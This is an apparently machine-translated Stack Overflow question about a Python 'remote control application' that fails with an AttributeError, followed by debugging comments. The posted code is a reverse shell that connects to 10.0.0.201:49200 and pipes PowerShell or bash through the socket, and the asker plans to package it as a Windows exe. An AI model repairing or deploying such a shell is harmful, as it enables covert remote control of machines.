0
我正在研究一個簡短的本地(不推薦外部[非本機]模塊,如pexpect),跨平臺,不安全的遠程控制應用程序的Python(Windows將使用py2exe和一個exe文件)。我正在使用start_new_thread來阻止呼叫,例如readline()
。出於某種原因,但是,我得到醜陋的這個字符串作爲我的輸出:子進程Popen.stdin.write導致AttributeError
Unhandled exception in thread started by <function read_stream at 0xb6918730>Unhandled exception in thread started by <function send_stream at 0xb69186f0>
Traceback (most recent call last):
Traceback (most recent call last):
File "main.py", line 17, in read_stream
s.send(pipe.stdout.readline())
AttributeError File "main.py", line 14, in send_stream
pipe.stdin.write(s.recv(4096))
AttributeError: 'NoneType' object has no attribute 'stdin'
: 'NoneType' object has no attribute 'stdout'
這裏是我的程序(main.py):
#!/usr/bin/env python
import socket
import subprocess as sp
from thread import start_new_thread
from platform import system
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.0.201', 49200))
shell = 'powershell.exe' if system() == 'Windows' else '/bin/bash' # is this right?
pipe = sp.Popen(shell, shell=True, stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE)
entered_command=False
def send_stream(): # send what you get from command center
while True:
pipe.stdin.write(s.recv(4096))
def read_stream(): # send back what is returned from shell command
while True:
s.send(pipe.stdout.readline())
start_new_thread(send_stream,())
start_new_thread(read_stream,())
感謝您的幫助。
'pipe'不能'None'。也許你可以刪除插座的東西來創建一個簡單的[mcve] –
是的,這是建議'pipe'是None。爲創建的地方插入測試;如果在那裏有效,在線程函數中插入測試 –
肯定會拋出錯誤的__exact__代碼?我讀過'subprocess.Popen'構造函數,它會在出錯時引發異常,但不返回'None'。 – CristiFati